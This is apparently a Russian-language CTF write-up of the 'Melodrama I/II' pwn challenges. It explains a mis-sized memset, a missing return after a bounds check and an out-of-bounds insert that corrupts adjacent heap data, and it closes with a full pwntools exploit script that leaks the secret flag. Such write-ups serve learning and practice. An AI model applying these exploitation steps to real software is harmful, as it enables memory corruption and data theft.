### **ugractf** writeup - Melodrama I / II (pwn)###### *by Frovy*###  Melodrama I (150 pts)
Для начала изучим предоставленный исходный код.> Увидев что в проге можно что-то создавать и удалять я сразу стал искатьuse-after-free, но оказалось, что тут все немного иначе.
Обратим внимание на метод удаления статьи:```c...memset(articles[id], NULL, sizeof(article_t*));```
Возможно это легко пропустить при первом прочтении кода, но я сразу заметил чудесную звездочку у аргумента sizeof. Вместо размера структуры определяется  размер указателя на нее (8 байт), поэтому при "удалении" статьи текст и подпись остаются в сохранности, а первые два поля перезаписываются нулями.При этом free нигде не вызывается и указатель на структуру нигде не зануляется, значит мы можем продолжать ею пользоваться.
(структура)```ctypedef struct {    int secret;    int length;    char note[141];    char signature[64];} __attribute__((packed)) article_t;```
Итак, удаляя статью мы устанавливаем ее длинну и секретность в 0.
Подключимся к серверу и прочитаем секретную 0-ю запись содержащую флаг, предварительно удалив ее.
Первая часть решена.
###  Melodrama II (250 pts)Вторая часть значительно сложнее, хотя вероятно (скорее всего) (точно) мое решение переусложнено.
Наша задача - достать секретную подпись, хранящуюся в структуре подписанной статьи прямо за ее текстом.
Как же это сделать? Очевидно для этого надо использовать функционал правок, не просто так же он тут есть.
> Во время ctf я потратил довольно много времени пытаясь опять же придумать что-то из категории heap exploitation, но потом осознал что на статьях то даже free не вызывается и понял что это все бред.
Почитаем внимательнее как же работают(применяются) эти правки:```c// insertint left = edits[id]->offset;int new_left = left + len;for (int i = 140; i >= new_left; i--) {    // shift positions for len positions right    articles[article]->note[i] = articles[article]->note[i - len];}for (int i = 0; i < len; i++) {    // insert edit to empty interval [left, left + len)    articles[article]->note[left + i] = edits[id]->content[i];}
// deleteint left = edits[id]->offset;int right = left + edits[id]->count;for (int i = left; i < right; i++) {    // shift characters for (right - left) positions left    articles[article]->note[i] = articles[article]->note[i + (right - left)];}```
Спасибо авторам за комменты, даже сам код читать не надо. Итак, с помощью insert мы можем вставить до 140 символов начиная с определенного оффсета. А с помощью delete?Сдвигать символы справа налево! Это именно то что нам нужно, мы можем попытаться подвинуть подпись в содержание и, прочитав статью, получить флаг.
Создадим новую статью из 140 букв А и попытаемся создать такую правку которая бы подвинула нам подпись. Подвинем 100 символов, поставим оффсет например 40, чтобы попасть в начало подписи.У нас получится left = 40, right = 100+40. Получается правка должна подвинуть строку note[140:240] в note[40:140].
Получим `Not enough characters`.
Все верно, мы пытаемся нарушить границы массива и проверка не дает нам этого сделать.
```cif (count <= 0 || offset + count - 1 > articles[id]->length) {   puts("Not enough characters");   return;}```
Ага, значит тут проверяется длинна статьи, нужно ее как-то изменить.
> Тут мне сразу пришла идея использовать правку insert чтобы перезаписать длинну любым значением. Возможно это совершенно не очевидно. Возможно на самом деле это делается как-то проще, но во время ctf я делал именно так.
Наши статьи располагаются друг за другом в одном огромном куске heap, который выделяется в начале выполнения программы. Попробуем с помощью правки insert записать символы за границу массива, настолько далеко, чтобы достать до памяти следующей статьи и перезаписать length каким-либо большим числом.
Посмотрим на проверки в правке insert:
```cint left = edits[id]->offset;
if (left > articles[article]->length) {    puts("Can't apply this edit.");}
int len = strlen(edits[id]->content);if (len + articles[article]->length > 140) {    puts("Too long.");    return;}```
Ага, в первой проверке нету return-а, да сколько же дыр в этом коде?
Как обойти вторую мы знаем из первой части таска. Удалим статью чтобы установить ее длину в 0, сумма len + length будет <= 140.
Итак алгоритм для перезаписи длины статьи:
1. Создаем статью (140 символов)2. Создаем еще статью3. Создадим описанную выше правку: оффсет 140, 140 символов (можно и поменьше конечно)4. Удалим статью5. Применим изменение
Теперь нам нужно создать правку delete которая сдвинет подпись в содержимое.Ах да, эту подпись надо перед этим туда поставить.
6. Создадим правку ко второй статье: remove, оффсет 40, кол-во 1007. Подпишем вторую статью8. Применим правку
Если мы попробуем сейчас прочесть эту статью, у нас ничего не получится потому, что ранее мы перезаписали флаг секретности, стоящий перед размером. Чтобы прочитать статью, предварительно удалим ее, как в первой части таска.
9. Удалим статью10. Прочитаем статью
Ой! А флаг то не выводится..
Если совсем немного подумать (или открыть gdb) можно понять что мы оставили нуль-терминатор в конце контента статьи, поэтому вывод прерывается. Изменим кол-во символов в правке из шага 6 с 100 на 101.
И получим флаг.
Скрипт использованный для получения флага с сервера:
```pyfrom pwn import *
#token = ''#c = remote('melodrama.q.2020.ugractf.ru', 17493)#c.recvuntil('token:')#c.sendline(token)
c = process('./melodrama')
c.recvuntil('> ').decode('utf-8')
p = log.progress('Doing magic...')
# crate article 1c.send('1\n')c.recvline()c.send('A'*140+'\n')c.recvuntil('> ').decode('utf-8')
# crate article 2c.send('1\n')c.recvline()c.send('B'*140+'\n')c.recvuntil('> ')
# create an overwriting edit to article 1c.send('2\n')c.recvline()c.send('1\n')c.recvuntil('remove something')c.send('1\n')c.recvline()c.send('140\n')c.recvline()c.send('C'*140+'\n')c.recvuntil('> ')
# delete article 1 so we can apply broken editc.send('6\n')c.recvline()c.send('1\n')c.recvuntil('> ')
# apply overwriting editc.send('3\n')c.recvline()c.send('0\n')c.recvline()c.recvuntil('> ')
# create an moving edit to article 2c.send('2\n')c.recvline()c.send('2\n')c.recvuntil('remove something').decode('utf-8')c.send('2\n')c.recvline()c.send('40\n')c.recvline()c.send('101\n')c.recvuntil('> ')
# sign article 2c.send('4\n')c.recvline()c.send('2\n')c.recvuntil('> ').decode('utf-8')
# apply edit that should move signature into notec.send('3\n')c.recvline()c.send('0\n')c.recvuntil('> ')
# delete article so we can read itc.send('6\n')c.recvline()c.send('2\n')c.recvuntil('> ')
# read resultc.send('5\n')c.recvline()c.send('2\n')res = c.recvuntil('> ')
p.success('Magic done.')
# extract flagres = res.decode('utf-8')flag = res.split('\n')[0].split()[-1].split('C')[-1]
log.success(f'Got signature: {flag}')```